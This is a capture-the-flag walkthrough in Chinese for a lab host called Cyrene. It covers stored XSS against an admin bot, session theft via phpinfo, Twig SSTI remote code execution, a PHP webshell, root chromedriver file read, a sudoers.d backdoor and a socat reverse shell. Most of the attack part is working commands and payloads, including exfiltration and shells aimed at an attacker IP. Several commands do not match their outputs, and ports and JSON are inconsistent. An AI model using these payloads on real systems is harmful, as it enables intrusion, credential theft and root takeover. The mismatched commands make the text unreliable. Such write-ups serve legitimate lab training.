

# Cyrene WriteUp

- 靶机：192.168.3.157 / hostname Cyrene
- 攻击机：192.168.3.84 (Kali Linux)
- 系统：Alpine Linux 3.24.0, 内核 7.1.3-0-stable
- 服务：22/tcp OpenSSH 10.3; 80/tcp Apache 2.4.68 (Unix) + PHP 8.3.33
- 难度：中
- 目标：user.txt / root.txt

## 攻击思路

---

### 唯一的入口是反馈表单

全端口只开 22 和 80，站点是 Fuukei Support Portal，功能面只有「提交反馈 + 展示反馈」，另有 login.php 和返回 302 的 admin.php（说明后台真实存在，且有管理员会来浏览反馈）。提交表单下方写着 "Basic HTML markup is preserved in your message"，等于明示 message 字段不做转义。提交 `<script>alert(1)</script>` 后首页原样渲染，存储型 XSS 成立。

### 40 秒一次的 admin bot

在攻击机起监听，投一条纯 HTML 的 `<img>` 探针。回连显示执行者是靶机本机上的 HeadlessChrome/151，Referer 恒为 `http://127.0.0.1/`，两次间隔 40 秒——是一个定时抓取首页的 bot，且它必然带着管理员的浏览器身份。

先做机制对照实验：并发投递 fetch、XMLHttpRequest、Image 三种探针加一条 490 字节的长 payload，四种全部回连。这排除了「长度被截断」的误判，说明 bot 的 JS 环境完整可用；此前一条 585 字节 payload 失联的真因是响应体塞进 query string 后 URL 超长，Image 静默失败，改用 POST body 外带即可。

### 确认 bot 是登录态

让它以自己的身份请求 admin.php，并把 `r.status` 和 `r.url` 一起带回。关键是看 `r.url` 而不是状态码：未登录时会被 302 到 login.php，fetch 跟随重定向后 url 就会变。实测返回 `200 | http://127.0.0.1/admin.php`，说明 bot 携带有效的 admin 会话。

### 从 phpinfo 直接读出会话 Cookie

用 POST 外带后台页面，拿到两个功能入口：Templates (adminemail.php) 和 System Info (adminserverinfo.php)。后者就是完整的 phpinfo，其中 HTTP\_COOKIE 一栏直接回显了 bot 的 PHPSESSID，同时泄露 DOCUMENTROOT 为 /var/www/localhost/htdocs。

PHPSESSID 本是 HttpOnly，XSS 读不到 document.cookie，但 phpinfo 从服务端侧把同一个值吐了出来，等于绕过 HttpOnly。拿到后直接在攻击机上以 admin 身份请求 admin.php 验证成功。

## ext\_access 把 bot 挡在门外，却给选手留了门

admin\_email.php 的两道门禁：非 admin 跳 login.php；没有 \$\_SESSION['ext\_access'] 跳回 admin.php。而 ext\_access 在 config.php 中的置位条件是「管理员会话来自非 127.0.0.1 的地址」。

于是 bot 从本机访问永远进不去模板页，而选手窃取同一个 session 后从外部访问一次 admin.php，ext\_access 就被置位，模板页随即开放。这是刻意的设计。

## Twig SSTI 拿到 apache RCE

Templates 页明说支持 Twig markup，{{7\*"7"}} 渲染出 49。顺带确认版本：1.x 的 \_self.env.registerUndefinedFilterCallback 写法报 Macro "env" is not defined，判定为 Twig 2.x/3.x，改用接受回调的过滤器。逐个测试（一条模板只放一个 payload，一个报错会带崩整次渲染），map / filter / sort 都可用，{{["id"]|map("system")|join}} 执行成功，身份为 apache。

以 apache 身份落 webshell，读 config.php 拿到后台凭据，并读到 /home/pi/user.txt（权限 644、属主 root 组 pi，web 用户可直接读）。

## chromedriver: root 级的读写通道

枚举进程发现几个 root 进程，其中 chromedriver 监听 127.0.0.1:9515。它只绑本地，但 webshell 就在靶机本机。同时排除了两个 SUID 干扰项：suexec 打不通，/bin/bbsuid 只认 --install 且用 real uid 判定，euid=0 照样被拒。

WebDriver API 让它新建一个会话，导航到 file:///root/root.txt 再读 /source，直接读到 root flag。读 /etc/shadow 时改用 execute/sync 取 document.body.innerText，避免把 Chrome 错误页的整页 HTML 一起带回来。

## 用下载功能写文件换 root shell

Chrome 以 root 运行，下载即任意路径写文件：建会话时用 prefs.download.default\_directory 指定落盘目录，再由服务端的

Content-Disposition 决定文件名。

关键限制是 Chrome 下载遇到同名文件会自动改名成 `xxx (1)`，不覆盖，所以只能写「新文件」——覆盖 `/etc/sudoers` 行不通。改为读 `/etc/sudoers` 确认存在 `@includedir /etc/sudoers.d`，且该目录为空，于是往里面写入新文件 `zz`，内容 `ALL ALL=(ALL:ALL) NOPASSWD:ALL`。apache 自己 `ls / cat` 看不到它是正常的（目录 0700 root），但 `sudo` 以 root 读取，配置照样加载，`sudo -n id` 返回 `uid=0`。

## 命令与 payload

### 1. 侦察

```
nmap -Pn -sT -p- --min-rate 2000 -T4 192.168.3.157
# 22/tcp open  ssh
# 80/tcp open  http

curl -s -i http://192.168.3.157/
# Server: Apache/2.4.68 (Unix)
# X-Powered-By: PHP/8.3.33
# <p class="hint">Basic HTML markup is preserved in your message.</p>

curl -s -o /dev/null -w "%{http_code} %{redirect_url}\n" http://192.168.3.157/login.php
# 302 http://192.168.3.157/login.php
```

### 2. 存储型 XSS 验证

```
curl -s -X POST http://192.168.3.157/submit.php \
  --data-urlencode 'name=testxss' --data-urlencode 'email=t@t.com' \
  --data-urlencode 'message=<b>boldtest</b><script>alert(1)</script>'

curl -s http://192.168.3.157/index.php | grep -A3 boldtest
# <b>boldtest</b><script>alert(1)</script>
```

### 3. 监听 bot 回连

```
# 攻击机起监听, 记录全部请求头到 /tmp/xss_hits.log
python3 /tmp/xss_listener.py 9000

# 提交纯 HTML 探针
# 

# 回连结果
# [17:48:10] GET /beacon-1 from 192.168.3.157
#   User-Agent: ... HeadlessChrome/151.0.0.0 Safari/537.36
#   Referer: http://127.0.0.1/
# [17:48:50] GET /beacon-1 from 192.168.3.157      # 间隔 40 秒
```

## 4. 机制对照实验

```
B=http://192.168.3.84:9000
# 并发投递四条
# fetch:           <script>fetch('/index.php').then(r=>new Image().src=
# XMLHttpRequest:  <script>var q=new XMLHttpRequest();q.open('GET','/inc
# Image 基线:      <script>new Image().src='$B/COK'</script>
# 长 payload:      <script>new Image().src='$B/DOK'</script><!-- 420 字节

# 结果: AOK 2   BOK 2   COK 2   DOK 2   全部可用, 与机制和长度都无关
```

## 5. 确认 bot 是登录态 admin

```
# 提交: fetch('/admin.php').then(r=>new Image().src='http://192.168.3.84:
# 回连: GET /E1?200|http://127.0.0.1/admin.php      # 未被重定向到 login.php
```

## 6. 外带后台页面 (POST 绕开 URL 长度限制)

```
# <script>fetch('/admin.php').then(r=>r.text()).then(t=>fetch('//192.168
# 后台功能入口: admin_email.php (Templates) / admin_server_info.php (System

# <script>fetch('/admin_server_info.php').then(r=>r.text()).then(t=>fetc

grep -A2 'HTTP_COOKIE' phpinfo.html
# HTTP_COOKIE      PHPSESSID=3eh0qk07tarf5vindmqsekoc7s
# DOCUMENT_ROOT    /var/www/localhost/htdocs
```

## 7. 复用会话并激活 ext\_access

```
S=3eh0qk07tarf5vindmqsekoc7s
```

```
curl -s -H "Cookie: PHPSESSID=$S" http://192.168.3.157/admin.php | grep  
# <title>Support Inbox - Fuukei Support Portal</title>
```

```
# 从外部访问一次即置位 ext_access, 模板页随之开放
```

```
curl -s -H "Cookie: PHPSESSID=$S" http://192.168.3.157/admin_email.php  
# <title>Notification Templates - Fuukei Support Portal</title>
```

## 8. Twig SSTI 验证与 RCE

```
# 验证注入
```

```
curl -s -H "Cookie: PHPSESSID=$S" -X POST http://192.168.3.157/admin_email.php  
--data-urlencode 'name=t1' --data-urlencode 'body=A{{7*"7"}}B' --data-urlencode 'action=preview'  
# A49B
```

```
# 版本判定 (Twig 1.x 写法失效)
```

```
# Template error: Macro "env" is not defined in template "notification"
```

```
# RCE (map / filter / sort 均可)
```

```
python3 /tmp/rce.py '{{["id"]|map("system")|join}}'
```

```
# uid=101(apache) gid=102(apache) groups=82(www-data),102(apache)
```

rce.py 封装 (命令用 base64 包裹, 规避引号转义) :

```
SID = "3eh0qk07tarf5vindmqsekoc7s"  
URL = "http://192.168.3.157/admin_email.php"  
b64 = base64.b64encode(cmd.encode()).decode()  
body = '{{["echo %s|base64 -d|sh"]|map("system")|join}}' % b64  
# POST admin_email.php,带 Cookie: PHPSESSID=SID  
# name=x & body=<上面> & action=preview
```

## 9. 落 webshell 并收集

```
echo '<?php system($_GET[0]);?>' > /var/www/localhost/htdocs/s.php
```

```
curl -s -G "http://192.168.3.157/s.php" --data-urlencode "0=cat /var/www/html/.ssh/id_rsa  
# define('ADMIN_USER', 'admin');  
# define('ADMIN_PASS', 'Fuukei#2026Q4!Secure');
```

```
curl -s -G "http://192.168.3.157/s.php" --data-urlencode "0=cat /home/pi/.ssh/id_rsa  
# flag{user-6352e71c1a99ab360615924160c47e57}"
```

## 10. 定位 chromedriver

```
ps -eo pid,user,args | grep -viE '\['  
# 2416 root python3 /opt/admin_bot/bot.py  
# 2430 root chromedriver --port=9515 --log-path=/var/log/admin_bot_driver  
# 2538 root /sbin/crond -c /etc/crontabs -f  
  
netstat -tlnp  
# tcp 0 0 127.0.0.1:9515 LISTEN  
  
curl -s http://127.0.0.1:9515/status  
# {"value":{"...","ready":true}}
```

## 11. 新建 WebDriver 会话读文件

```
curl -s -X POST http://127.0.0.1:9515/session -H "Content-Type: application/json" -d '{"capabilities":{"alwaysMatch":{"goog:chromeOptions":{"args":["--headless"]}}}}' > /tmp/sess.json  
SID=$(grep -o '"sessionId":"[^"]*"' /tmp/sess.json | head -1 | cut -d'"')  
  
echo '{"url":"file:///root/root.txt"}' > /tmp/u.json  
curl -s -X POST "http://127.0.0.1:9515/session/$SID/url" -H "Content-Type: application/json" -d @/tmp/u.json  
  
curl -s "http://127.0.0.1:9515/session/$SID/source"  
# flag{root-18687f6ee5c8104d2b5190fb7b8983a9}  
  
# 读 /etc/shadow 改用 execute/sync 取 innerText, 避免带回整页 HTML  
echo '{"script":"return document.body.innerText","args":[]}' > /tmp/js.json  
curl -s -X POST "http://127.0.0.1:9515/session/$SID/execute/sync" \ -H "Content-Type: application/json" -d @/tmp/js.json  
# root:$6$Lt8xbDjZaK4EZihn$WfhmN0VHkyg9GvvhbqJ5e/U10Cf/RfCvN6t03bNoytbnC
```

## 12. 下载功能写 sudoers 换 root shell

攻击机提供附件 ( `/etc/sudoers.d/` 为空目录, 写新文件即可 ) :

```
# 起一个只返回 Content-Disposition: attachment; filename="zz" 的服务
# 正文: ALL ALL=(ALL:ALL) NOPASSWD:ALL
python3 -c 'import http.server
B=b"ALL ALL=(ALL:ALL) NOPASSWD:ALL\n"
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Disposition","attachment; filename=\"zz\"")
        self.send_header("Content-Length",str(len(B)))
        self.end_headers(); self.wfile.write(B)
    def log_message(self,*a): pass
http.server.HTTPServer(("0.0.0.0",9100),H).serve_forever()'
```

建会话时把下载目录设为目标目录，再让它去下载：

```
curl -s -X POST http://127.0.0.1:9515/session -H "Content-Type: application/json" \
-d '{"capabilities":{"alwaysMatch":{"goog:chromeOptions":{"args":["--headless"]}}}' > /tmp/s2.json
SID=$(grep -o '"sessionId":"[^"]*"' /tmp/s2.json | cut -d'"' -f4)

echo '{"url":"http://192.168.3.84:9100/zz"}' > /tmp/u.json
curl -s -X POST "http://127.0.0.1:9515/session/$SID/url" -H "Content-Type: application/json"
```

验证并弹 shell：

```
sudo -n -l
# User apache may run the following commands on Cyrene:
# (ALL : ALL) NOPASSWD: ALL

sudo -n id
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(audio),11(floppy),14(games),16(video),18(switch),20(lpc),24(cdrom),25(floppy),27(scanner),28(irc),30(cup),33(dialout),36(modem),41(network),46(video),50(audio),54(smb),60(lpc),62(print),98(disk),99(audio),100(network)

sudo -n setsid socat TCP:192.168.3.84:1234 EXEC:/bin/bash,pty,stderr,setsid,sh

# 清理会话，否则会占住 bot 的抓取周期
curl -s -X DELETE "http://127.0.0.1:9515/session/$SID"
```

## 复盘要点

1. 判断 bot 是否携带会话不能看 `document.cookie`（HttpOnly 读不到），也不能只看状态码；要看 fetch 跟随重定向后的 `r.url`。
2. `Image().src` 外带受 URL 长度上限约束且失败是静默的，容易误判成「payload 没执行」。做机制对照实验比反复改 payload 更快定位真因，大响应一律改 POST body。

3. 同源同 session 从不同源 IP 访问会改变服务端授权状态，本题 `ext_access` 只在非 127.0.0.1 访问时置位，导致 bot 自访永远进不去、盗用同一 session 的选手一访问就通过。
4. Twig 2.x/3.x 不接受 1.x 的 `_self.env` 链，`Macro "env" is not defined` 可直接判定版本区间；有效载荷是接受回调的过滤器，测试时一条模板只放一个 payload，单个报错会中断整次渲染掩盖其他结果。
5. 只监听 127.0.0.1 的服务在拿到 RCE 后等于公网暴露。chromedriver 以 root 运行：  
`file://` + `/source` 是任意文件读取，  
`prefs.download.default_directory` 配合 `Content-Disposition` 是任意路径写入。
6. Chrome 下载遇同名文件自动改名成 `xxx (1)`，只能写新文件；因此改不了 `/etc/sudoers`，但往 `/etc/sudoers.d/` 这类空目录丢新文件就够了。
7. SUID 位存在不等于可利用。`/bin/bbsuid` 用 real uid 判定，euid=0 仍被拒；判定时要分清 `getuid()` 与 `geteuid()`。

## 遗留物与清理

```
sudo rm -f /etc/sudoers.d/zz                # sudo 后门
rm -f /var/www/localhost/htdocs/s.php      # webserv
rm -f /tmp/.f                               # 反弹 shell 的 fifo
pkill -f 'socat TCP:192.168.3.84:12345'
pkill -f 'nc 192.168.3.84 1234'
# data/messages.json 里是投递的探测反馈，会显示在首页
```